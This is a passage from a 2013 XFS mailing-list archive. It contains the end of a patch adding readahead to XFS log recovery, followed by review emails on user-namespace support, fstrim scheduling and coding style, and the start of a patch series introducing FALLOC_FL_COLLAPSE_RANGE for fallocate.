+{ + struct xfs_inode_log_format ilf_buf; + struct xfs_inode_log_format *ilfp; + struct xfs_mount *mp = log->l_mp; + int error; + + if (item->ri_buf[0].i_len == sizeof(struct xfs_inode_log_format)) { + ilfp = item->ri_buf[0].i_addr; + } else { + ilfp = &ilf_buf; + memset(ilfp, 0, sizeof(*ilfp)); + error = xfs_inode_item_format_convert(&item->ri_buf[0], ilfp); + if (error) + return; + } + + if (xlog_check_buffer_cancelled(log, ilfp->ilf_blkno, ilfp->ilf_len, 0)) + return; + + xfs_buf_readahead(mp->m_ddev_targp, ilfp->ilf_blkno, + ilfp->ilf_len, &xfs_inode_buf_ops); +} + +STATIC void +xlog_recover_dquot_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + struct xfs_mount *mp = log->l_mp; + struct xfs_disk_dquot *recddq; + struct xfs_dq_logformat *dq_f; + uint type; + + + if (mp->m_qflags == 0) + return; + + recddq = item->ri_buf[1].i_addr; + if (recddq == NULL) + return; + if (item->ri_buf[1].i_len < sizeof(struct xfs_disk_dquot)) + return; + + type = recddq->d_flags & (XFS_DQ_USER | XFS_DQ_PROJ | XFS_DQ_GROUP); + ASSERT(type); + if (log->l_quotaoffs_flag & type) + return; + + dq_f = item->ri_buf[0].i_addr; + ASSERT(dq_f); + ASSERT(dq_f->qlf_len == 1); + + xfs_buf_readahead(mp->m_ddev_targp, dq_f->qlf_blkno, + dq_f->qlf_len, NULL); +} + +STATIC void +xlog_recover_ra_pass2( + struct xlog *log, + struct xlog_recover_item *item) +{ + switch (ITEM_TYPE(item)) { + case XFS_LI_BUF: + xlog_recover_buffer_ra_pass2(log, item); + break; + case XFS_LI_INODE: + xlog_recover_inode_ra_pass2(log, item); + break; + case XFS_LI_DQUOT: + xlog_recover_dquot_ra_pass2(log, item); + break; + case XFS_LI_EFI: + case XFS_LI_EFD: + case XFS_LI_QUOTAOFF: + default: + break; + } +} + STATIC int xlog_recover_commit_pass1( struct xlog *log, @@ -3177,6 +3277,26 @@ xlog_recover_commit_pass2( } } +STATIC int +xlog_recover_items_pass2( + struct xlog *log, + struct xlog_recover *trans, + struct list_head *buffer_list, + struct list_head *item_list) +{ + struct xlog_recover_item *item; + int error = 0; + + list_for_each_entry(item, item_list, ri_list) { + error = xlog_recover_commit_pass2(log, trans, + buffer_list, item); + if (error) + return error; + } + + return error; +} + /* * Perform the transaction. * @@ -3189,9 +3309,16 @@ xlog_recover_commit_trans( struct xlog_recover *trans, int pass) { - int error = 0, error2; - xlog_recover_item_t *item; - LIST_HEAD (buffer_list); + int error = 0; + int error2; + int items_queued = 0; + struct xlog_recover_item *item; + struct xlog_recover_item *next; + LIST_HEAD (buffer_list); + LIST_HEAD (ra_list); + LIST_HEAD (done_list); + + #define XLOG_RECOVER_COMMIT_QUEUE_MAX 100 hlist_del(&trans->r_list); @@ -3199,14 +3326,22 @@ xlog_recover_commit_trans( if (error) return error; - list_for_each_entry(item, &trans->r_itemq, ri_list) { + list_for_each_entry_safe(item, next, &trans->r_itemq, ri_list) { switch (pass) { case XLOG_RECOVER_PASS1: error = xlog_recover_commit_pass1(log, trans, item); break; case XLOG_RECOVER_PASS2: - error = xlog_recover_commit_pass2(log, trans, - &buffer_list, item); + xlog_recover_ra_pass2(log, item); + list_move_tail(&item->ri_list, &ra_list); + items_queued++; + if (items_queued >= XLOG_RECOVER_COMMIT_QUEUE_MAX) { + error = xlog_recover_items_pass2(log, trans, + &buffer_list, &ra_list); + list_splice_tail_init(&ra_list, &done_list); + items_queued = 0; + } + break; default: ASSERT(0); @@ -3216,6 +3351,18 @@ xlog_recover_commit_trans( goto out; } + if (!list_empty(&ra_list)) { + error = xlog_recover_items_pass2(log, trans, + &buffer_list, &ra_list); + if (error) + goto out; + + list_splice_tail_init(&ra_list, &done_list); + } + + if (!list_empty(&done_list)) + list_splice_init(&done_list, &trans->r_itemq); + xlog_recover_free_trans(trans); out: -- 1.7.11.7 From bpm@sgi.com Wed Jul 31 08:25:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8043B7F66 for ; Wed, 31 Jul 2013 08:25:27 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 452DA8F8050; Wed, 31 Jul 2013 06:25:24 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B6E214266DC; Wed, 31 Jul 2013 08:25:23 -0500 (CDT) Date: Wed, 31 Jul 2013 08:25:23 -0500 From: Ben Myers To: Dwight Engen , Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH v7 7/7] enable building user namespace with xfs Message-ID: <20130731132523.GS3111@sgi.com> References: <20130729230709.11033b2d@oracle.com> <20130730234021.GR3111@sgi.com> <20130731002119.GR13468@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130731002119.GR13468@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hey, On Wed, Jul 31, 2013 at 10:21:19AM +1000, Dave Chinner wrote: > On Tue, Jul 30, 2013 at 06:40:21PM -0500, Ben Myers wrote: > > On Mon, Jul 29, 2013 at 11:07:09PM -0400, Dwight Engen wrote: > > > >From e6a9ee0cfa0ed40484f66bc1726dc19de36038b8 Mon Sep 17 00:00:00 2001 > > > From: Dwight Engen > > > Date: Tue, 2 Jul 2013 09:52:54 -0400 > > > Subject: [PATCH 7/7] enable building user namespace with xfs > > > > > > Signed-off-by: Dwight Engen > > > > Was there a patch running around to limit bulkstat to init_user_ns? Any other > > items that needed to be addressed before applying this patch? > > Bulkstat has a capable(CAP_SYS_ADMIN) check and therefore can only be > executed in the init name space. Similarly, all the open-by-handle > interfaces have the same capable() checks so they can only be > executed int he init name space, too. Gah. I was under the impression that you could have a process with CAP_SYS_ADMIN in a namespace other than init_user_ns. > The only thing I think we still need to address is whether > xfs_ioc_setattr() should allow users within a namespace to change > the project ID of a file they otherwise own. That function is > currently changed to use a inode_owner_or_capable() check and so if > the uids match inside the namespace the modification is allowed. > > However, right now for project IDs I think we have decided to limit > manipulations to the init user namespace and not expose project IDs > inside user namespaces at all. Hence I think that xfs_ioc_setattr() > needs a further check for this... Looks like that should be added to patch 3. Dwight, if you prefer to repost only patch 3 that's fine. -Ben From greg.freemyer@gmail.com Wed Jul 31 08:27:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=unavailable version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D32EB7F69 for ; Wed, 31 Jul 2013 08:27:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5CC19AC006 for ; Wed, 31 Jul 2013 06:27:11 -0700 (PDT) X-ASG-Debug-ID: 1375277225-04cbb02c3c2910b0001-NocioJ Received: from mail-wi0-f178.google.com (mail-wi0-f178.google.com [209.85.212.178]) by cuda.sgi.com with ESMTP id e86oRJGVXWH9CaL1 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO); Wed, 31 Jul 2013 06:27:06 -0700 (PDT) X-Barracuda-Envelope-From: greg.freemyer@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.178 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.178] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.178] Received: by mail-wi0-f178.google.com with SMTP id j17so647086wiw.5 for ; Wed, 31 Jul 2013 06:27:05 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.178] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.178] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.178] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.178] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=ugepWp6wUOYu/ffa+K8t3daHXEQ6IbKVmahv0F9gZD0=; b=yxhh2SC5j5OG1d0Pn4798wB8Wx/OVNyvr3VAL9LEQ8Z1BtW/XHBuchlvdy0WWIB46W jTvWXXdsEvyBSCDQ2t1aAxvH94tG3V6fKmD65h7lRoGwZPv9G8BGhA/Rx2GI06WLSamO aSkz45LKEsnCGmtVbZrejwjdAIOFOqg/2Da0B6PfvkEuNcTKhGSojThNEWcXrwR56iVj 2qtHqFPgj6j242RUkXc3X8gWdCnmyQuMhvqxLUJZCgvg2Md2qsORbY0ZWl5nOUUWtXRM G9p6eCXPbtYKzYXgZnQ09NdBCEGLxOLz91WhukpTBM5MYf7uxfw3AH9R1xAc9xz/UanS Nnxg== X-Received: by 10.180.12.80 with SMTP id w16mr4252449wib.47.1375277225629; Wed, 31 Jul 2013 06:27:05 -0700 (PDT) MIME-Version: 1.0 Received: by 10.181.13.72 with HTTP; Wed, 31 Jul 2013 06:26:35 -0700 (PDT) In-Reply-To: <20130727015029.GT13468@dastard> References: <51F2BD31.5060301@profihost.ag> <20130727015029.GT13468@dastard> From: Greg Freemyer Date: Wed, 31 Jul 2013 09:26:35 -0400 Message-ID: Subject: Re: [xfs-masters] how to use fstrim? To: Dave Chinner X-ASG-Orig-Subj: Re: [xfs-masters] how to use fstrim? Cc: Stefan Priebe , "xfs-masters@oss.sgi.com" , "xfs@oss.sgi.com" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-wi0-f178.google.com[209.85.212.178] X-Barracuda-Start-Time: 1375277226 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Jul 26, 2013 at 9:50 PM, Dave Chinner wrote: > IOWs, the behaviour of fstrim on XFS is entirely dependent on the > speed of the block layer and hardware implementations of discards. And on a lot of SSDs, trim seems to act like a cache flush so it can hit performance hard. It should be scheduled for off-peak times afaik. It's not critical to run hourly or even daily. If you can schedule it once a week when other i/o is light that should be enough for most workloads. Greg -- Greg Freemyer From bpm@sgi.com Wed Jul 31 08:35:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BDDD77F6B for ; Wed, 31 Jul 2013 08:35:08 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id A1363AC006; Wed, 31 Jul 2013 06:35:07 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 096D34266DC; Wed, 31 Jul 2013 08:35:07 -0500 (CDT) Date: Wed, 31 Jul 2013 08:35:07 -0500 From: Ben Myers To: Zhi Yong Wu Cc: Dave Chinner , "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist , xfstests Subject: Re: [PATCH v2] xfs: introduce object readahead to log recovery Message-ID: <20130731133506.GT3111@sgi.com> References: <1375178347-29037-1-git-send-email-zwu.kernel@gmail.com> <20130730231155.GM13468@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) Hey Zhi, On Wed, Jul 31, 2013 at 12:07:32PM +0800, Zhi Yong Wu wrote: > On Wed, Jul 31, 2013 at 7:11 AM, Dave Chinner wrote: > > On Tue, Jul 30, 2013 at 05:59:07PM +0800, zwu.kernel@gmail.com wrote: > >> From: Zhi Yong Wu > >> > >> It can take a long time to run log recovery operation because it is > >> single threaded and is bound by read latency. We can find that it took > >> most of the time to wait for the read IO to occur, so if one object > >> readahead is introduced to log recovery, it will obviously reduce the > >> log recovery time. > >> > >> Log recovery time stat: > >> > >> w/o this patch w/ this patch > >> > >> real: 0m15.023s 0m7.802s > >> user: 0m0.001s 0m0.001s > >> sys: 0m0.246s 0m0.107s > >> > >> Signed-off-by: Zhi Yong Wu > >> --- > >> fs/xfs/xfs_log_recover.c | 162 +++++++++++++++++++++++++++++++++++++++++++++-- > >> fs/xfs/xfs_log_recover.h | 2 + > >> 2 files changed, 159 insertions(+), 5 deletions(-) > >> > >> diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c > >> index 7681b19..029826f 100644 > >> --- a/fs/xfs/xfs_log_recover.c > >> +++ b/fs/xfs/xfs_log_recover.c > >> @@ -3116,6 +3116,111 @@ xlog_recover_free_trans( > >> kmem_free(trans); > >> } > >> > >> +STATIC void > >> +xlog_recover_buffer_ra_pass2( > >> + struct xlog *log, > >> + struct xlog_recover_item *item) > >> +{ > >> + xfs_buf_log_format_t *buf_f = item->ri_buf[0].i_addr; > >> + xfs_mount_t *mp = log->l_mp; > > > > struct xfs_buf_log_format > > struct xfs_mount > Why? *_t is also used in a lot of other places. It is just a general style preference for using the struct instead of the _t in the xfs codebase. Over the course of the past few years they've slowly been converted in this direction, and we prefer not to add any more _t if it can be avoided. -Ben From zwu.kernel@gmail.com Wed Jul 31 09:17:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D5F9E7F6D for ; Wed, 31 Jul 2013 09:17:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 90B7C8F8039 for ; Wed, 31 Jul 2013 07:17:20 -0700 (PDT) X-ASG-Debug-ID: 1375280235-04bdf02f2129ac50001-NocioJ Received: from mail-qa0-f49.google.com (mail-qa0-f49.google.com [209.85.216.49]) by cuda.sgi.com with ESMTP id VHtLdO6fIlNtCl2F (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 31 Jul 2013 07:17:16 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.49 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.49] Received: by mail-qa0-f49.google.com with SMTP id cr7so447768qab.1 for ; Wed, 31 Jul 2013 07:17:15 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.49] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.49] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=PzVGd+vsopSm76yGOla+Uvdjek4De4pwhitpEWNHrDU=; b=N72X2NSPRZU1i1rfXDf9duQ6XvYBNq8qwQJX5gTkOPsjAuOl9kN2xN521BPYLUhnfg WFSVSawiY1UQ5LpM6f9JINpbBvGTABxiSDrXV8v36v6rqz8XJhqNQxgl5Z8t/9aQsFB2 88fpsM4wIVAMLHpj2qMDmJDzMopCXvqw4UxDmUiuIr9sjLzBXMsC0QYSdpdpwijIbEoi pfQ05va+Np8DP4w9PIlShz4YgO42W3fS+7/tTlXUuNwc775/xbtk04V1Ycfvwyq9NzAl YztEUV2YxRZie/rA6/c3rWLoJu9vWYnlXPD+eaG6LZtP04hF98jbN5PJZIiXQds0Z3E6 oxDw== MIME-Version: 1.0 X-Received: by 10.224.70.12 with SMTP id b12mr66253712qaj.21.1375280235298; Wed, 31 Jul 2013 07:17:15 -0700 (PDT) Received: by 10.49.48.226 with HTTP; Wed, 31 Jul 2013 07:17:15 -0700 (PDT) In-Reply-To: <20130731133506.GT3111@sgi.com> References: <1375178347-29037-1-git-send-email-zwu.kernel@gmail.com> <20130730231155.GM13468@dastard> <20130731133506.GT3111@sgi.com> Date: Wed, 31 Jul 2013 22:17:15 +0800 Message-ID: Subject: Re: [PATCH v2] xfs: introduce object readahead to log recovery From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH v2] xfs: introduce object readahead to log recovery To: Ben Myers Cc: Dave Chinner , "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist , xfstests Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f49.google.com[209.85.216.49] X-Barracuda-Start-Time: 1375280235 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, Jul 31, 2013 at 9:35 PM, Ben Myers wrote: > Hey Zhi, > > On Wed, Jul 31, 2013 at 12:07:32PM +0800, Zhi Yong Wu wrote: >> On Wed, Jul 31, 2013 at 7:11 AM, Dave Chinner wrote: >> > On Tue, Jul 30, 2013 at 05:59:07PM +0800, zwu.kernel@gmail.com wrote: >> >> From: Zhi Yong Wu >> >> >> >> It can take a long time to run log recovery operation because it is >> >> single threaded and is bound by read latency. We can find that it took >> >> most of the time to wait for the read IO to occur, so if one object >> >> readahead is introduced to log recovery, it will obviously reduce the >> >> log recovery time. >> >> >> >> Log recovery time stat: >> >> >> >> w/o this patch w/ this patch >> >> >> >> real: 0m15.023s 0m7.802s >> >> user: 0m0.001s 0m0.001s >> >> sys: 0m0.246s 0m0.107s >> >> >> >> Signed-off-by: Zhi Yong Wu >> >> --- >> >> fs/xfs/xfs_log_recover.c | 162 +++++++++++++++++++++++++++++++++++++++++++++-- >> >> fs/xfs/xfs_log_recover.h | 2 + >> >> 2 files changed, 159 insertions(+), 5 deletions(-) >> >> >> >> diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c >> >> index 7681b19..029826f 100644 >> >> --- a/fs/xfs/xfs_log_recover.c >> >> +++ b/fs/xfs/xfs_log_recover.c >> >> @@ -3116,6 +3116,111 @@ xlog_recover_free_trans( >> >> kmem_free(trans); >> >> } >> >> >> >> +STATIC void >> >> +xlog_recover_buffer_ra_pass2( >> >> + struct xlog *log, >> >> + struct xlog_recover_item *item) >> >> +{ >> >> + xfs_buf_log_format_t *buf_f = item->ri_buf[0].i_addr; >> >> + xfs_mount_t *mp = log->l_mp; >> > >> > struct xfs_buf_log_format >> > struct xfs_mount >> Why? *_t is also used in a lot of other places. > > It is just a general style preference for using the struct instead of the _t in > the xfs codebase. Over the course of the past few years they've slowly been > converted in this direction, and we prefer not to add any more _t if it can be > avoided. Got it, thanks. I have sent out v3 with this style change. > > -Ben -- Regards, Zhi Yong Wu From linkinjeon@gmail.com Wed Jul 31 09:41:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9D2A07F4E for ; Wed, 31 Jul 2013 09:41:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 750298F8037 for ; Wed, 31 Jul 2013 07:41:57 -0700 (PDT) X-ASG-Debug-ID: 1375281716-04cb6c153d292240001-NocioJ Received: from mail-pb0-f46.google.com (mail-pb0-f46.google.com [209.85.160.46]) by cuda.sgi.com with ESMTP id N6imZM9GBIrd39ae (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 31 Jul 2013 07:41:56 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.46 Received: by mail-pb0-f46.google.com with SMTP id rq2so852432pbb.5 for ; Wed, 31 Jul 2013 07:41:56 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:x-mailer; bh=neIHD+SIO//iU+n6fZ5DEBKWR/TagyHRynS4eVxTxew=; b=xvQKpccG9bUIJ2oArF4U1Outxb7PYY3A3WYIzYtulZ7kkc43ZLpqrNXJBk+QaZh6eR F+kryCOc2bOThcaGc/pFacUlrvhvkIUa8RDk77qCaXX0zWkQ/kUPZJ7g1HStSy+6ZnnG x9mcQ0w8TBLJ15pzcC0RPw9hCjaCOsx+LsJDONp5aMTnYe0X5NaTxBWUmGl+XtTIu14t jUXr75xI0/euGpyUHT2W0Oz40ek7Rg9AHlX9BEvDNO5/lURkmvtUc1KVRtPjC/dEGF16 p7qX5DurDtm1VUxSD0jBQztl29mnb10uzSbngEnAC9iNQstzg3Vis5Zaztcjhbb5bfXO bZbQ== X-Barracuda-BBL-IP: nil X-Received: by 10.66.9.71 with SMTP id x7mr82223290paa.37.1375281715942; Wed, 31 Jul 2013 07:41:55 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.104]) by mx.google.com with ESMTPSA id bp12sm4951511pac.1.2013.07.31.07.41.53 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 31 Jul 2013 07:41:55 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.104 To: tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH 0/3] fs: New flag FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Wed, 31 Jul 2013 23:40:29 +0900 X-ASG-Orig-Subj: [PATCH 0/3] fs: New flag FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1375281629-15804-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f46.google.com[209.85.160.46] X-Barracuda-Start-Time: 1375281716 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch series is in response of the following post: http://lwn.net/Articles/556136/ "ext4: introduce two new ioctls" Dave chinner suggested that truncate_block_range (which was one of the ioctls name) should be an fallocate operation and not any fs specific ioctl, hence we add this functionality to fallocate. This patch series introduces new flag FALLOC_FL_COLLAPSE_RANGE for fallocate and implements it for XFS and Ext4. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned. 4) It wokrs beyond "EOF", so the extents which are pre-allocated beyond "EOF" are also updated. 5) It reduces the i_size of inode by the amount of collapse range which lies within i_size. So, if offset >= i_size, i_size won't be changed at all. This new functionality of collapsing range could be used by media editing tools which does non linear editing to quickly purge and edit parts of a media file. This will immensely improve the performance of these operations. The limitation of fs block size aligned offsets can be easily handled by media codecs which are encapsulated in a conatiner as they have to just change the offset to next keyframe value to match the proper alignment. Namjae Jeon (3): fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE xfs: Implement FALLOC_FL_COLLAPSE_RANGE ext4: Implement FALLOC_FL_COLLAPSE_RANGE -- 1.7.9.5 From linkinjeon@gmail.com Wed Jul 31 09:42:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 511BE7F5E for ; Wed, 31 Jul 2013 09:42:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4120030409A for ; Wed, 31 Jul 2013 07:42:10 -0700 (PDT) X-ASG-Debug-ID: 1375281728-04cbb02c3e296c40001-NocioJ Received: from mail-pb0-f41.google.com (mail-pb0-f41.google.com [209.85.160.41]) by cuda.sgi.com with ESMTP id rtQbXF1adyZ5nbFS (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 31 Jul 2013 07:42:09 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.41 Received: by mail-pb0-f41.google.com with SMTP id rp2so360274pbb.28 for ; Wed, 31 Jul 2013 07:42:08 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:x-mailer; bh=TWcWNVtvB0v/gjHEAHAn3KVNM76RFm1c+GideL0zi40=; b=TxadNtRJ/K0oArlf71scqQiBWQQ9gnk0iFAcW310le56iRKR0sLpYAvuZPfJ9sU9N0 bp/ChH7nHpSltD1NtvJdzfLdm44Ezo2+qGVNFRay9DctVkRVWbgtE3YqXs5ry1zlbBEm nL+xAvx2FBY7XeIr5F5VHGVK8LdBfdex17qXzY/MGUNlW+VMvv9Mbs8I2hV5rbAHaERn A83yHbdc4MQVaJ8zMay7463IaTH5TGePns6bYAnlCxSMm1OslfUBgjE22tM5CG/O0sXc +8VJpTtsVPUT/1lX+A0NqNoHcR9lFu6VAX5xXRkozBFERftlUGCWmDkIZZpU39STD/R0 YRKw== X-Barracuda-BBL-IP: nil X-Received: by 10.68.163.131 with SMTP id yi3mr81054903pbb.55.1375281728691; Wed, 31 Jul 2013 07:42:08 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.104]) by mx.google.com with ESMTPSA id kd1sm4907582pab.20.2013.07.31.07.42.06 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 31 Jul 2013 07:42:08 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.104 To: tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Date: Wed, 31 Jul 2013 23:42:00 +0900 X-ASG-Orig-Subj: [PATCH 1/3] fs: Introduce new flag FALLOC_FL_COLLAPSE_RANGE Message-Id: <1375281721-15840-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f41.google.com[209.85.160.41] X-Barracuda-Start-Time: 1375281729 